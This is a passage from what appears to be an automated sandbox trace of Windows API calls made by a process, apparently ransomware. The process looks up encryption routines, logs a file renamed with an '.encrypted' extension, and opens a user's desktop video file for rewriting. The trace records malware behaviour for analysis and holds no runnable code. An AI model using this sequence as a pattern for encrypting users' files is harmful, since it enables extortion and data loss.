wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.455] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.456] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.456] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.457] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.457] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.457] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.457] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.458] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.458] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.458] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.458] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1949) returned 1 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.458] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x79d, lpOverlapped=0x0) returned 1 [0023.458] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x79d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.458] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1949) returned 1 [0023.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\n", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0023.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\n", cchWideChar=51, lpMultiByteStr=0xe8f404ba10, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\n", lpUsedDefaultChar=0x0) returned 51 [0023.458] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051c20*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051c20*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x32, lpOverlapped=0x0) returned 1 [0023.458] CloseHandle (hObject=0x1fc) returned 1 [0023.459] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.459] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.460] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.460] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.460] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.460] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.460] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.461] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.461] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.461] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0023.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv", cchWideChar=50, lpMultiByteStr=0xe8f404be50, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv", lpUsedDefaultChar=0x0) returned 50 [0023.462] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\rvzc3jmnzdykrdzf.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0023.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=50, lpWideCharStr=0xe8f4062330, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv") returned 50 [0023.462] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.463] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.463] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.463] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.463] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.463] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.463] CloseHandle (hObject=0x1fc) returned 1 [0023.464] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.464] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.464] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.464] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.464] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.464] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.464] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.465] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.465] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.465] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.465] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.465] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.465] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.466] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.466] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.466] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.466] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.466] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 